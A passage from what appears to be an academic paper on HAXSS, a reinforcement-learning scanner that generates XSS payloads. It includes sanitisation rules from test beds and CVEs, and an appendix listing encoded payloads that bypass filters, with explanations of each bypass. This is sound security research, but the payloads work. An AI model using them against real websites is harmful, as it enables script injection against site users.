to bypass sanitisation, finding 131 XSS across the micro-
and macro-benchmarks a 20% improvement over the closest
scanner, Arachni. This is due to the use of HAXSS Sanitisation
Agents, as exemplified in WebSecLab, where HAXSS is able to
identify a non-vulnerable parameter (raw_fp1) as vulnerable
by using URL encoding and capitalisation actions to bypass
regex ( 15 , Table VI). Further examples of sanitisations HAXSS
bypasses are in Appendix F-A.

We also see the key role of the hierarchical design of our
model, as it outperforms its non-hierarchical equivalent, AXSS,
and the other RL based XSS payload generator, Link. Both
models use a flat action space and a single agent, hence
showing the importance of both bypassing sanitisation and
using a hierarchical structure.

We have also seen the importance of using RL, as
HAXSS outperforms Rand-HAXSS in the micro- and macro-
benchmarks. This is not surprising, as the Escape Agent can
generate 6,635,520 unique payloads, and for each of these the
Sanitisation Agents can produce 384, different obfuscations.

The main shortcoming of HAXSS is the current size of
the action space, which still limits the diversity of payloads
that can be generated, increasing FNs. This is shown by its

relatively lower performance on Firing Range. At the moment
HAXSS does not have the ability to generate the kind of DOM
payloads that ZAP uses. Additional actions could be added to
improve the ability of HAXSS to generate payloads specifically
for DOM XSS; an exhaustive exploration of the action space
is left for future work.

Finally, we direct the interested reader to Appendix F for
details and analysis of the payloads created by HAXSS.

IX. RELATED WORK

Black-box methodology: Black-box methods to fuzz injec-
tion vulnerabilities have been used on XSS and SQLi [24],
[25], and XML injection [26], though these focus on using
existing payloads in their approaches. This is as opposed to
HAXSS which focuses on generating injection payloads in a
black-box approach without using prior payloads.

XSS payload generation: In [27], [28], the use of dynamic
data analysis is used to determine potentially vulnerable input
parameters. In [29]–[31] the authors extract injection points
in white-box settings, then test these with XSS attack strings.
While the authors of [32] use a custom browser for grey-box
taint tracking to generate escape strings for DOM based XSS.
A similar methodology is used by the authors of [28].

RL for webapp fuzzing: The authors of [17] use tabular Q-
learning agents for different XSS contexts. This model reports
lower TPs than HAXSS in WebSecLab (the only webapp used
for testing). The modelling of the problem also differs from
HAXSS as it follows a predetermined payload structure, using
a ‘human-in-the-loop’ to inject reflected XSS into a webapp.

The Link model shown in [22] uses the RL algorithm of
Proximal Policy Optimisation (PPO) to generate XSS payloads
using a flat action space. As we demonstrate in Section VI,
the hierarchical nature of HAXSS outperforms this model.

An agent based on DQN is used in [33], forming basic
payloads with some obfuscation techniques. This work doesn’t
generate diverse sets of payloads, but is used to generate
adversarial examples to improve a ML based XSS detector

Tabular Q-learning and DQN models have also been used in
[34] to generate SQLi payloads. These agents can only alter
specific parts of predefined payloads, instead of generating
them from scratch, like HAXSS.

X. CONCLUSIONS

To increase the diversity of XSS payloads that can be
generated automatically in a black-box fashion, we introduced
a hierarchical RL architecture where different agents specialise
on the tasks of escaping contexts with syntactically correct
payloads and evading sanitisation.

We implemented our model as HAXSS, and we compared its
XSS scanning ability against a number of other vulnerability
scanners, on benchmarks ranging from hand-written tests to
vulnerable webapps. HAXSS identifies 131 vulnerabilities
(including one in a parameter marked ‘non-vulnerable’ by the
webapp authors), with zero false positives.

We also tested HAXSS “in the wild”, identifying 4 known
and 5 new vulnerabilities in 3 production-grade webapps.
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TABLE III
SANITISATION RULES AND OUTPUT CONTEXTS FROM THE XP TRAIN BED USED FOR TRAINING HAXSS

Input Field Sanitisation rule Context in Page Context

1 preg replace(‘<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’,INPUT) <div>[INPUT] <br /></div> Tag body

2
preg replace(’/”/’, ’\\”’,INPUT); preg replace(’/\’/’, ’\\\”,INPUT);
preg replace(’<script[∧ >]*>—<script>/”, ”, INPUT)

<script type="text/javascript">
function foo() a="[INPUT]"</script>

JavaScript

3 urldecode(INPUT); replace(“<”,”&lt;”,INPUT); json decode(INPUT) <div>[INPUT] <br /></div> Tag body
4 preg replace(’/–>/’, ”, INPUT); urldecode(INPUT) <!-- [INPUT] --> HTML comment
5 urldecode(INPUT); addslashes(INPUT) <script>’[INPUT]’</script><br /> JavaScript

6
urldecode(INPUT); preg replace(/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, ‘’,INPUT);

preg replace(’/(.*)on(.*)=/i’,”,INPUT) <script>[INPUT]</script><br /> JavaScript

7 htmlEntities(INPUT, ENT QUOTES) <!- -[INPUT] - -><br /> HTML comment
8 str replace(‘<script>’, ‘’,INPUT) <div>[INPUT] <br /></div> Tag body

9
htmlEntities(INPUT, ENT QUOTES);
preg replace(”/(?i)<(script—img)[∧ >]*>—<(script—img)>/”, ”, INPUT);
html entity decode(INPUT);

<img src=’[INPUT]’> Tag attribute

10 preg replace(’/”/’, ’\\”’,INPUT); preg replace(’/\’/’, ’\\\”,INPUT) <div onmouseover="x=’[INPUT]’"></div> Tag attribute
11 preg replace(’/”/’, ’\\”’,INPUT); urldecode(INPUT); <style>p {color: "[INPUT]"}</style> Tag body
12 preg replace(’/”/’, ’\\”’,INPUT); preg replace(’/\’/’, ’\\\”,INPUT) <[INPUT]> Tag name

13
preg replace(’/”/’, ”,INPUT); preg replace(’/\’/’, ”,INPUT);
preg replace(’/ /’, ”,INPUT); <input type="checkbox" name=[INPUT]> Tag attribute

14 preg replace(”/<(script—img—body)[∧ >]*>—<(script—body)>/”, ”, INPUT); <font size=[INPUT]></font> Tag attribute
15 preg replace(”/(?i)<(script—img—body)[∧ >]*>—<(script—img—body)>/”, ”, INPUT); <[INPUT]> Tag name

TABLE IV
SANITISATION RULES AND OUTPUT CONTEXTS FROM THE XP TEST BED. THE EXAMPLES USED IN SECTION VI-B

Input Field Sanitisation rule Context in Page Context

1 CVE-2020-28919 preg replace(”/(?i)<(script—body—img—a(?!.href=))[∧¿]*>/”, ”, INPUT); <div>[INPUT]</div> Tag body

2 CVE-2021-24884
urldecode(INPUT);html entity decode(INPUT);
strip tags(INPUT, ’<audio><video><img><button><a>’);

<a href="https://example.com"
data-frmverify="[INPUT]"></a>

Tag attribute

3 CVE-2021-35043 html entity decode(INPUT); <a href="[INPUT]"> Vulnerable </a> Tag attribute
4 CVE-2019-10062 preg replace(”/<script[

¯
∧ <]*(?:(?!<script>)<[∧ <]*)*<script>/i”, ”, INPUT); <div>[INPUT]</div> Tag body

5 CVE-2021-22889 htmlspecialchars(INPUT, ENT SUBSTITUTE — ENT HTML401); <input type=’checkbox’ name=’n’ value=’[INPUT]’> Tag attribute

6
str replace(”<”,”&lt;”, INPUT);str replace(”>”,”&gt;”, INPUT);
urldecode(INPUT);

<div>[INPUT]</div> Tag body

7 str replace(”<”,”&lt;”, INPUT); str replace(”>”,”&gt;”, INPUT); <script>eval(’[INPUT]’)</script> JavaScript
8 str replace(”<”,”&lt;”, INPUT); json decode(INPUT); <[INPUT]> Tag name

9 preg replace(‘/”/’,’\\”’, INPUT); urldecode(INPUT);
<script>var d = document.createElement(’div’);
d.innerElement = ’<%[INPUT]%>’;
document.body.appendChild(d);</script>

JavaScript

10 urldecode(INPUT); addslashes(INPUT); <img src=’[INPUT]’> Tag attribute

APPENDIX A
CRAWLER IMPLEMENTATION

The crawler is implemented in Python and Selenium. First
it identifies all the anchor tags on a webpage by clicking
on them to reveal additional pages within the domain. Then
it determines if a new page has been found, and if so it
adds it to the pages to be traversed - thus avoiding infinite
crawling. If a new URL differs from an existing one only
by additional query components, they are considered to be
the same URL (e.g. http://www.example.com/?=value is
the same as http://www.example.com/ which is the same
as http://www.example.com/#FromTheDOM). The crawler
inputs a unique token into each input, textarea component,
and parameters in the URL of a GET request. This way the
crawler can detect possible source-sink combinations, which
are then used by the Injection Interface.

APPENDIX B
XP TRAIN AND TEST BED

The XP Train and Test Bed XSS examples used to train
HAXSS and as a benchmark in Section VI-B are shown in
Table III and Table IV, respectively. For example, field 6 in
Table IV removes any instances of > and < from the user
input, replacing them with the HTML encoded variants, and

then decodes any URL encoded characters, placing the result
in the body of a div tag.

APPENDIX C
REWARD FUNCTION

The extrinsic reward function used in the Escape Agent is
in Equation 2.

r =



Rmax Successful vulnerability

Rcon Change execution context

Ru = R′
u + 1

6
(R′

u × ta) R′
u < Ru < 1

2
R′

u

For attribute ta returned in
unsanitised payload

Rs = R′
s + 1

6
(R′

s × ta) R′
s < Rs < 1

2
R′

s

For attribute ta returned in
sanitised payload

Rpen If no payload returned

(2)

This rewards for payloads that demonstrate an XSS with a
minor reward for a context change. The remaining negative
reward, penalises for benign unsanitised payloads becoming
more negative with fewer args or tag attributes. This function
is also used to penalise for sanitisation to prompt the agent to
generate malicious payloads. The values of the constants from
Eq. 2 used in our implementation are:

Rmax = 10 Rcon = 0.5 R′
s = −3 R′

u = −4.5 Rpen = −5



APPENDIX D
AGENT ALGORITHMS

Algorithm 1 is used to train and subsequently test HAXSS.
Before this algorithm is used the replay buffers of both
agents are initialised with transitions from random actions, see
Section V-C for details on the buffers. The Q-networks of each
agent are also initialised to random values, as are the target
networks using the weights of the respective Q-networks.

A. Hyperparameter Search

Lower and upper bounds of the of the parameters used in the
grid search are displayed in Table V. Intervals were sampled
uniformly to determine the optimal hyperparameters. We also
include the selected values selected after the grid search.

TABLE V
DETAILS OF THE GRID SEARCH FOR HYPER PARAMETERS OF HAXSS

Parameter Lower Bound Upper Bound Selected

γ 0.5 0.999 0.999
α 0.05 0.0005 0.005

Batch Size 50 200 100
Update Step 10 150 50

Episode Length 5 20 10, 5

APPENDIX E
EXTERNAL JAVASCRIPT FUNCTION

var regex = /localhost/i
var elements =

document.querySelectorAll("img,a,body,style,script");
for (var j = 0; j < elements.length; j++) {
var src = elements[j].getAttribute(’src’);
if (regex.test(src)) {
alert(src.split(’http://localhost:666/xss.js?=’)[1]);

}
var href = elements[j].getAttribute(’href’);
if (regex.test(href)) {
alert(href.split(’http://localhost:666/xss.js?=’)[1]);

}}

Listing 1. JavaScript functions called to by HAXSS

APPENDIX F

A. HAXSS bypassing sanitisations

Examples of the sanitisation rules from webapps in the
macro-benchmark that HAXSS is able to bypass can be seen
in Table VI.
B. Payload Analysis

HAXSS found more vulnerabilities than the other scanners
in the XP Test Bed and 4 of the 5 webapps in the macro-
benchmark. However, the payloads themselves reveal greater
detail about the variety of payloads HAXSS has learned, a
selection of TPs is shown in Listing 2.

HAXSS is able to bypass sanitisations in Firing Range, (see
Table VI), achieved by 10 , 11 , 12 , and 13 .

10 bypasses sanitisation of script tags in either upper or
lower case. HAXSS does this by encoding non-alphanumerical
characters so they do not match the regex of a plaintext
<script> tag. 11 avoids sanitisation of ’ or ” by creating
a payload that avoids introducing these characters. Similarly,
12 avoids sanitisation of lowercase script tags by creating a

Algorithm 1 HAXSS Payload generation loop, red indicates
training specific execution.
Function Haxss(crawl_data):

urls, params = crawl_data
done = False
episode = 0
while not done:

if win_cond or loss_cond:
if next(urls, url) == None:

// exit when finished all inputs
done = True
break

url = next(urls, url) // get next URL
param = next(params, param) // get next param
esc_env.load(url, param)

st = esc_env.reset()
for step in range(0, ESC_MAX_STEPS):

esc_actions = esc_agent.get_worker_actions(st)
payload = esc_env.step(esc_action)
st+1, rt, vt, sant = inj_interface(payload, url,
param)
minibatch = esc_buffer.sample()
esc_agent.train_dqn(minibatch)
if sant == True:

/* Began bypass sanitisation game */
payload = attempt_bypass_san(payload)

episode ++
if episode % 50:

esc_agent.update_target_net()
san_agent.update_target_net()

Function attempt_bypass_san(payload):
san_env.load(payload)
for EP in range(0, SAN_MAX_EPS):

st=san_env.reset()
for step in range(0, SAN_MAX_STEPS):

san_action = san_agent.get_action(st)
san_payload = escape_env.step(escape_san)
st+1, rt, vt, bypt = inj_interface(san_payload, url,
param)
minibatch = san_buffer.sample()
san_agent.train_dqn(minibatch)

if bypt == True:
return san_payload

return payload

TABLE VI
SANITISATIONS HAXSS IS ABLE TO BYPASS

Webapp Rule

WebSecLab
Remove anything that matches the regex of
’|"|(?i)<script[∧>]*>|</script>

WebSecLab Unicode sequences (e.g. \u0022) are unescaped
WAVSEP Strip input of script tags
WAVSEP HTML enity encode: < >
WAVSEP HTML enity encode: < > ’ "
Firing Range HTML enity encode: < & ( )
Firing Range Block a payload including ’ or ”
Firing Range Block a payload including lowercase script
Firing Range Block a payload including any script

payload that is based on a body tag. 13 bypasses sanitisation
of < & ( ) by forcibly changing the context, sanitisation
occurs in the client side in the context of a script tag. As
the browser accepts this as legitimate it allows the rest of the
payload to bypass sanitisation.

Payload 14 is URL encoded, yet not to bypass
sanitisation. Appearing in the context of a tagname
in a body tag (<body><[INPUT]></body>), HAXSS
detects sanitisation occurs as the browser only
allows one body tag. Thus when HAXSS injects
<body>onload=alert(token)</body> it is returned
in the sink as <body><onload=alert(token)></body>,
yet 14 still leads to XSS.



Listing 2. Payloads generated by HAXSS

10 %22%3C%3CScRiPt%20SRC%3Dhttp%3A//localhost%3A666/xss.js

%3F%3Dtoken%20onLoad%3Dalert%28token%29%3E%3C/sCrIpT%3E

11 </tag><<body onkeypress=alert(token)></body>

12 ’></body><body onload=alert(token)></body>

13 </script><style onload=alert(token)></style>

14 %3C/tag%3E%3Cbody%20onLoad%3Dalert%28token%29%3E%3C/body%3E

15 %3C/ScRiPt%3E%3Cbody%20onKeyPress%3Dalert%28token%29%3E%20sRc

%3DhTtP%3A//LoCaLhOsT%3A666/XsS.Js%3F%3Dtoken%3C/body%3E

16 "\u0022\u003c\u0069\u006d\u0067\u0020\u0053\u0052\u0043\u00%3d

\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006c\u006f\u0063\u0061
\u006c\u0068\u006f\u0073\u0074\u003a\u0036\u0036\u0036\u002f\u0078
\u0073\u0073\u002e\u006a\u0073\u003f\u003d\u0074\u006f\u006b\u0065
\u006e\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061
\u006c\u0065\u0072\u0074\u0028\u0074\u006f\u006b\u0065\u006e\u0029
\u0020\u003e\u0060\u003c\u002f\u0069\u006d\u0067\u003e"

17 %3Cstyle%20onLoad%3Dalert%28token%29%3E%3C/style%3E

18 %0d%0a onload=alert(token)

19 \"<style onerror=alert(token)

src=http://localhost:666/xss.js?=token></style>

20 "<a onerror=alert(token)

src=http://localhost:666/xss.js?=token></a>}

HAXSS cannot bypass two sanitisations in Firing Range:
htmlentities and URL encoding of <, ’, and ". Though this
is actually due to the contexts, which require payloads with a
different structure than HAXSS can make (e.g. not containing
these characters).

Arachni and Wapiti are able to bypass case sensitivity and
HTML encoding via specialised payloads using a custom
function (Arachni), or an svg tag (Wapiti).

HAXSS bypasses two sanitisations in WebSecLab, as shown
in Table VI, using payloads 15 , and 16 .

15 bypasses sanitisation for raw_1fp which was considered
a TN by the WebSecLab authors, but HAXSS discovered that it
is a TP. URL encoding allows HAXSS to bypass regex associ-
ated with raw_1fp:’|"|(?i)<script[∧>]*>|</script>.
This is noteworthy as a script tag must be present in the
payload to change to a context where the payload can be
executed, which is only done via this particular encoding.
16 displays XSS via a more complex payload, an img tag
with a src attribute that calls to the web page discussed in
Section V-A. This causes an error to trigger the event handler.
HAXSS then uses UTF-8 encoding to bypass sanitisation of
the non-alphanumeric characters.

HAXSS fails to bypass two sanitisations in WebSecLab. One
requires a payload URL encoded twice which HAXSS cannot
do. XSSer and Wapiti are able to discover this vulnerability,
but fail bypassing other sanitisations. HAXSS also fails escap-
ing of ” that itself is not properly escaped. Though this is
due to additional sanitisation of all tags in the payload, and
HAXSS being unable to comment out the remaining code in
the JavaScript context.

Surprisingly we see that XSSer and Wapiti are able to iden-
tify a vulnerability by URL encoding a payload twice, however
they fail to bypass any of the other sanitisations including
backslash escaping quote marks, and using a unicode encoded
input. Failure to bypass sanitisation is a common theme with
Arachni, ZAP, and w3af doing this in all cases in WebSecLab

and are only able to change execution contexts in simpler cases
of single quotes and tag attributes. We observe that AXSS is
able to generate a payload that bypasses sanitisation by UTF-
8 encoding a payload. It then fails to generate payloads that
bypass any further sanitisation. In WAVSEP HAXSS develops
XSS payloads despite sanitisations shown in Table VI, using
17 , 18 , 19 , and 20 .

17 bypasses sanitisation of script tags using a payload
based around a style tag, similar to behaviour observed in
Firing Range. 18 escapes the JavaScript comment context
using %0d%0a. It then uses the onload from within JavaScript,
avoiding angle brackets that would be sanitised.

19 is particularly interesting as HAXSS uses sanitisation to
its advantage. The context is the src attribute of an img tag,
with htmlentity encoding of angle brackets. HAXSS escaped
the src context and uses sanitisation to trigger an injected
onerror attribute. HAXSS displays similar behaviour in 20 ,
by using htmlentity encoding of angle brackets to trigger the
onerror in the same context.

However there is one FN in scope. The proof-of-concept
for which is ’"><img src=a onerror=alert(token)>.
Despite generating payloads of this format in other cases (for
Firing Range, WebSecLab, and WAVSEP), HAXSS fails to
generate a valid payload in this instance. This is due to the
intrinsic nondeterminism that helps the RL agents find novel
solutions yet may forget existing ones (exploration/exploita-
tion trade-off). However, HAXSS is able to generate payloads
that escape sanitisation via unicode-encoding a payload, and
escaping the backslash escaping of quote marks. AXSS strug-
gles to generate payloads effectively bypassing one sanitisation
by URL encoding the payload.

In the other scanners we again see a similar performance,
ZAP fails to bypass sanitisation (HTML encoding of angle
brackets and quotemarks, removal of script tags), w3af does
the same also failing to identify POST request vulnerabilities.
Arachni, Black Widow, and Wapiti, bypass sanitisation of
script tags by using a custom function, img, and svg tags
respectively, but miss the other filters.

In some of the successful payloads generated by HAXSS
there are artefacts present from failed payloads in the same
episode. For example, 3 contains a src=... artifact between
the body tags. This does not seem to negatively impact
performance. In fact, the second new vulnerability found in
Section VII-C is found by a payload containing this malforma-
tion, which may explain why it was missed by human review.
We speculate HAXSS learned to use this same pattern as a
polyglot because of the incentive to work with a leaner action
space, leading to a better exploration/exploitation trade off.

The payloads HAXSS develops also show that even the
Escape Agent avoids sanitisations and develops well formed
succinct payloads. We also note that HAXSS displays zero
instances of FPs in all webapps, this is due to our mechanism
that validates an alert function has been executed in the
webapp; allowing the feedback for RL to conduct fuzzing.
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